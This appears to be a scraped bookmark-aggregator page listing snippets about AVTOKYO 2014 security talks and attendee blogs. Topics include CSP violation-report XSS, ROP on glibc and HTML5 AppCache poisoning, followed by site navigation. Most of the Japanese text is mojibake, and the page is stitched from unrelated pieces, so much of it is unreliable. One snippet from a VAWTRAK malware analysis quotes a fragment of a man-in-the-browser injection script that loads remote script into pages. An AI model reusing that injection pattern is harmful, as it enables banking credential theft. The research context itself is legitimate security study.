)
IE11 on Windows 7 (Windows)
There are several differences between Internet Explorer 11 on Windows 8.1 and IE11 on Windows 7 in the areas of HTML5 video, touch support, device and screen orientation APIs, Windows integration, and performance. Unsupported features on Windows 7 The contents of the IE11 Developer Guide apply to IE11 on Windows 7, except for the following features: Device Orientation events Drag and drop touch su
)
Internet Explorer 10 on Windows 7 (Windows)
This topic of the Internet Explorer 10 Guide for Developers explains the differences between Internet Explorer 10 running on Windows 7 and Internet Explorer 10 running on Windows 8. All differences involve touch and pen input APIs. This topic contains the following sections: UA string changes DOM events CSS properties DOM properties Simulating hover on touch-enabled devices Related topics UA strin
Future of Web Security Opened up by CSP
This document summarizes Content Security Policy (CSP), a browser feature that helps mitigate cross-site scripting and other attacks. It discusses CSP's directives for controlling resource loading, browser support, syntax, and violation reporting. It also notes potential issues with abuse of CSP violation reports if not properly validated and formatted on the server-side.Read less
AVTOKYO 2014ã§ã€ŒCSPãŒåˆ‡ã‚Šé–‹ãWebã‚»ã‚ュリティã®æœªæ¥ã€ã¨ã„ã†é¡Œã§è©±ã—ã¦ã㟠- 葉ã£ã±æ—¥è¨˜
AVTOKYO2014ã§ã€ã«ã—ã‚€ãã‚ã•ã‚“ã¨ã„ã£ã—ょã«ã€Œã¯ã›ã‚€ãã‚ã€ã¨ã„ã†ãƒ¦ãƒ‹ãƒƒãƒˆåã§Content-Security-Policyをテーマã«è©±ã‚’ã—ã¦ãã¾ã—ãŸã€‚ Future of Web Security Opened up by CSP from Muneaki Nishimura 内容ã¯ã‚¹ãƒ©ã‚¤ãƒ‰ã®ã¨ãŠã‚Šã§ã€æ”»æ’ƒè€…ã¯Fiddlerãªã©ã‚’使ã£ã¦ä»»æ„ã®CSPé•åレãƒãƒ¼ãƒˆJSONã‚’é€ä¿¡å¯èƒ½ã§ã‚ã‚‹ã“ã¨ã€Firefoxã®å ´åˆã«ã¯CSPé•åレãƒãƒ¼ãƒˆã®JSON内ã«ã€Œ<ã€ã€Œ>ã€ãªã©ãŒå«ã¾ã‚Œã‚‹ã®ã§ã€é•åレãƒãƒ¼ãƒˆã‚’表示ã™ã‚‹ç®¡ç†ç”»é¢ã§ã®ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—æ¼ã‚ŒãŒã‚ã‚‹ã¨é•åレãƒãƒ¼ãƒˆã‚’通ã˜ã¦ç®¡ç†ç”»é¢å†…ã§XSSã™ã‚‹ã€ãªã©ã®è©±ã‚’è¡Œã„ã€å®Ÿéš›ã«ç®¡ç†ç”»é¢ã§ã®XSSã®ãƒ‡ãƒ¢ã‚’è¡Œã„ã¾ã—ãŸã€‚ デモã¯ã‚ã‚“ã¾ã‚Šç´°ã‹ã„ã“ã¨ã¯è€ƒãˆã¦ãªã‹ã£ãŸã‚“ã§ã™ãŒã€ã‚¢ãƒ‰ãƒªãƒ–苦手ãªã«ã—ã‚€ãã‚ã•ã‚“ãŒã„ã„味を出ã—ã¦ã¦ã€æ¨ªã§è¦‹ã¦ã„ã¦ã‚‚楽ã—ã‹ã£ãŸã§ã™ã€‚ã¡ãªã¿ã«ç›´å‰ã®æ‰“ã¡åˆã‚
AVTOKYO2014 Obsevation of VAWTRAK(ja)
13. MITB Injection <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/ loose.dtd"> <HTML lang="ja"> <HEAD><script jve=1>(function(){try{var e="/bmhnno/?c=script&v=3";var t= “D2YWRHBX_BB51F…â€; if(t.length!=10){e+=“&b=“+ encodeURIComponent(t) }var n=document.getElementsByTagName (“headâ€)[0]; var r=document.createElement(“script"); if(r&&n){r.jve=1;r.src=e;n.ap
「ROP Illmatic: Exploring Universal ROP on glibc x86-64ã€ã¨ã„ã†ã‚¿ã‚¤ãƒˆãƒ«ã§ç™ºè¡¨ã—㟠- ã‚‚ã‚‚ã„ã‚テクノãƒã‚¸ãƒ¼
AVTOKYO2014 ã“ã®ãƒ–ãƒã‚°ã§æ›¸ã„ã¦ããŸExploitç³»ã®ã„ã‚ã„ã‚ã«ã¤ã„ã¦è©±ã—ãŸã€‚ ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja) from inaz2 Also English version is available. マイクをæŒã¡ãªãŒã‚‰ã®ãƒ‡ãƒ¢ãŒãã¤ã‹ã£ãŸã‚Šã€æ™‚間をオーãƒãƒ¼ã—ã¦ã—ã¾ã£ãŸã‚Šã—ãŸãŒã€ã¾ã‚よã—ã¨ã—ãŸã„（ã¨ã„ã†ã‹ã™ã‚‹ã—ã‹ãªã„）。 終ã‚ã£ãŸå¾Œã®ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚ングタイムã§ã¯ã€[censored] ãŒã‚ã£ã¦æœ€é«˜ã ã£ãŸã€‚ ãªãŠã€å®Ÿéš›ã«Demo 2ã®URLã«ã‚るエクスプãƒã‚¤ãƒˆã‚³ãƒ¼ãƒ‰ã‚’スライドä¸ã®Vulnerable Codeã«ä½¿ã†å ´åˆã¯ã€s/p32/p64/gã™ã‚‹å¿…è¦ãŒã‚る。 本質的ã§ãªã„部分ã§ã®å·®ç•°ãªã®ã§æ‰‹ã‚’抜ã„ãŸã€‚ ã‚ã¨ã¯ã€ã²ãŸã™ã‚‰ãƒ“ールを飲んã§ã†ã‚ã†ã‚ã—ã¦ã„ãŸã€‚ æ¥å¹´ã‚‚何ã‹è©±ã›ã‚‹ãƒã‚¿ãŒã§ãるよã†ã«ãŒã‚“ã°ã‚ŠãŸã„
æ怖ã®HTML5 ApplicationCache Poisoning
自己紹介 (SelfÂIntroduction) @kyo_ago ApplicationCache Poisoningæ´1å¹´3ヶ月ã®æ–°ç±³ã§ã™ã€‚ (ApplicationCache Poisoning NEWBIE.)
AVTOKYO 2014ã¸è¡Œã£ã¦ã㟠- ãŸã ã®ã«ã£ã(2014-11-15)
â– AVTOKYO 2014ã¸è¡Œã£ã¦ã㟠(ãã†ã„ãˆã°å†™çœŸã¾ã£ãŸã撮り忘れãŸ) AVTOKYO2014ãŒã‚ã£ãŸã®ã§è¡Œã£ã¦ããŸã€‚去年ã‹ã‚‰ã‚»ã‚ュリティ関連ã®ã‚¤ãƒ™ãƒ³ãƒˆã«ã‹ãªã‚Šå‚åŠ ã—ã¦ããŸã‘ã©ã€ã“ã®AVTOKYOã¯DefConらã—ã•ãŒã‚ã£ã¦ä¸€ç•ªå¥½ãã ãªã€‚ビジãƒã‚¹ãƒ©ã‚¤ã‚¯ã§ã€Œã¡ã‚ƒã‚“ã¨ã—ãŸã€ã‚¹ã‚¿ã‚¤ãƒ«ã®ã‚¤ãƒ™ãƒ³ãƒˆã‚‚ã‚‚ã¡ã‚ã‚“å¿…è¦ã§å¤§äº‹ã ã‘ã©ã€ã“ã†ã„ã†ã¡ã‚‡ã£ã¨ã‚¢ãƒ³ã‚°ãƒ©ã£ã½ã„ã€ãã‚Œã§ã„ã¦æŠ€è¡“çš„ã«ã¯ã¨ã‚“ãŒã£ãŸã‚¤ãƒ™ãƒ³ãƒˆã‚‚ãªã„ã¨ã。 ä¼šå ´ã‚‚æ¸‹è°·ã®ã‚¯ãƒ©ãƒ–(?)を貸ã—ãã£ã¦ã€ãれもå‰å›žã®ä¼šå ´ã‚ˆã‚Šã¯åºƒãã¦ãƒ¯ãƒ³ãƒ•ãƒã‚¢ã§ãšã„ã¶ã‚“利用ã—ã‚„ã™ãã¦ã‚ˆã‹ã£ãŸã€‚ソファã«ã„ã„å¸ãŒé™£å–ã‚ŒãŸã®ã§ã€ãƒ“ール飲ã¿ã¤ã¤ã®ã‚“ã³ã‚Šè´ã„ã¦ãŠã‚Šã¾ã—ãŸã€‚ã„ã¤ã‚‚æ€ã†ã‚“ã ã‘ã©ã€ã“ã†ã„ã†ãƒã‚§ãƒƒã‚¯ã®ãƒãƒ«ã‚·ãƒ£ãƒ„ç€ãŸäººãŸã¡ãŒå¤§å‹¢é›†ã¾ã‚‹ã‚ˆã†ãªã‚¤ãƒ™ãƒ³ãƒˆã«å€Ÿã‚Šã‚‰ã‚Œã¦ã€åº—å“¡ã®äººãŸã¡ã¯ã©ã†æ€ã£ã¦ã‚‹ã‚“ã ã‚ã†ãª(笑)。 オフレコ案件も少ãªããªã„ã®ã§ã€å†…容ã«ã¤ã„ã¦ã¯ã‚ã¾ã‚Šè§¦ã‚Œãšã«ãŠã“ã†ã€‚ã¨
AVTOKYO 2014 ã«å‚åŠ ã—ãŸï½œkawalog
2014å¹´11月15æ—¥ã«é–‹å‚¬ã•ã‚ŒãŸ AVTOKYO 2014 ã«å‚åŠ ã—ã¦ãã¾ã—ãŸã€‚去年ã‹ã‚‰å‚åŠ ã—ã ã—ã¦2回目ã®å‚åŠ ã§ã™ã€‚ No drink, No hack. をテーマã«ã—ãŸã€ãŠé…’を飲ã¿ãªãŒã‚‰ã‚»ã‚ュリティã«ã¤ã„ã¦èªžã‚Šåˆã†å ´æ‰€ã§ã™ã€‚今年ã¯ãƒãƒ¼ãƒ‰ã‚¦ã‚¨ã‚¢ã‚’ã„ã˜ã‚‹ã‚¹ãƒšãƒ¼ã‚¹ãŒã‚ã£ãŸã‚Šã€ç°¡æ˜“CTFã¿ãŸã„ãªã‚¹ãƒšãƒ¼ã‚¹ãŒã‚ã£ãŸã‚Šã€ãªã‹ãªã‹ãŠã‚‚ã—ã‚ã‹ã£ãŸã§ã™ã€‚ã‚ã¨ã„ã†ãªã‚‰ã°ã€ãŠé…’ã ã‘ã§ãªããŠã¤ã¾ã¿ã‚‚販売ãŒã‚ã‚Œã°ãªãŠè‰¯ã‹ã£ãŸãªãã¨æ€ã„ã¾ã—ãŸã€‚ã†ã‚“。 内容ã«ã¤ã„ã¦ã¯ã‚ªãƒ•ãƒ¬ã‚³ã‚„公開ç¦æ¢ã®éƒ¨åˆ†ãŒã‚ã£ãŸã‚Šã€åŒºåˆ¥ã—ã¦æ›¸ãã®ãŒé¢å€’ãªã®ã§çœç•¥ã€œã€‚（ãƒã‚¤ãƒŠãƒªã‚ã‹ã‚‰ã‚“ã—。。。）去年ã¨ãらã¹ã¦æ„Ÿã˜ãŸã®ã¯ä¼šå ´ã‚‚大分広ããªã£ãŸã—ã€è‹¥ã„人ã®å‚åŠ ãŒå¢—ãˆãŸæ§˜ã«æ„Ÿã˜ã¾ã™ã€‚CTF for Beginners ã‚„ CTF for girls ã®ãŠã‹ã’ã ã¨æ€ã„ã¾ã™ãŒã€ã‚»ã‚ュリティ関連ã«èˆˆå‘³ã‚’æŒã£ã¦ã„ã‚‹ã€ã¾ãŸã¯ã‚„ã£ã¦ã„る人ãŒå¢—ãˆã‚‹ã®ã¯ã„ã„ã“ã¨ã ã¨æ€ã„
AVTOKYO 2014ã«å‚åŠ ã—ã¦ãã¾ã—ãŸï¼ - AizuCTFã®æ—¥è¨˜
ã“ã‚“ã«ã¡ã¯ä½è—¤ã§ã™ã€‚ 11/15æ—¥ã€ç§ãŸã¡ã¯AVTOKYO 2014ã«å‚åŠ ã—ã¦ãã¾ã—ãŸã€‚ AVTOKYO JP ã“ã®ã‚«ãƒ³ãƒ•ã‚¡ãƒ¬ãƒ³ã‚¹ã¯ã€ãƒ‰ãƒªãƒ³ã‚¯ï¼ˆç™ºè¡¨è€…も飲ã¿ãªãŒã‚‰ç¬‘）を片手ã«æ°—軽ã«ã‚»ã‚ュリティã«ã¤ã„ã¦ç™ºè¡¨ã‚„æƒ…å ±äº¤æ›ã‚’è¡Œã†è‡ªç”±ã§ãƒžãƒ‹ã‚¢ãƒƒã‚¯ã§ãƒãƒƒã‚¯ï¼ã£ã¦æ„Ÿã˜ã®ã¨ã“ã‚ã§ã—ãŸã€‚ ä¼šå ´å†…ã¯ã€å¤§ããªãƒ©ã‚¤ãƒ–ãƒã‚¦ã‚¹ã®è²¸åˆ‡ã§å¤§ããªã‚¹ã‚¯ãƒªãƒ¼ãƒ³ã¨ãƒãƒ¼ãŒï¼’ã¤ã€ã‚ã¨ã‚°ãƒƒã‚ºå£²å ´ã‚„VIPéš ã—部屋（ç§ãŒçŸ¥ã‚‰ãªã„何ã‹ãŒè¡Œã‚ã‚ŒãŸï½—）　ãƒãƒ¼ãƒ‰ã‚¦ã‚§ã‚¢é…’å ´ã€ãƒã‚¦ãƒ³ãƒ†ã‚£ãƒãƒ³ã‚¿ãƒ¼é…’å ´ã§ã¯ç™ºè¡¨ãã£ã¡ã®ã‘ã§ä¸Žãˆã‚‰ã‚ŒãŸå•é¡Œã‚’hackã—ã¦ã„る人もｗ　一番驚ã„ãŸã®ã¯ã€ã‚ã‚‹æƒ…å ±ã®å£²è²·ãŒã•ã‚Œã¦ã„ãŸã“ã¨ã§ã™ï¼ˆç¬‘ - - - - ç§ã¯ç‰‡æ‰‹ã«ã‚¸ãƒ³ãƒˆãƒ‹ãƒƒã‚¯ã‚’・・・ ãã—ã¦ã€ä¸€ç•ªã®è¦‹ç‰©ã®ç™ºè¡¨ã¯ãƒ»ãƒ»ãƒ»å‡„ã‹ã£ãŸã€‚個人的ã«ã€inaz2ã•ã‚“ã®ROP Illmatic: Exploring Universal ROP on glibc x86-64ãŒé¢ç™½ã‹ã£ãŸã€‚ ç†è§£
ランã‚ング
ランã‚ング
ランã‚ング
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
GitHub - jklmnn/imagejs: Small tool to package javascript into a valid image file.
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (en)
{{#tags}}- {{label}}
{{/tags}}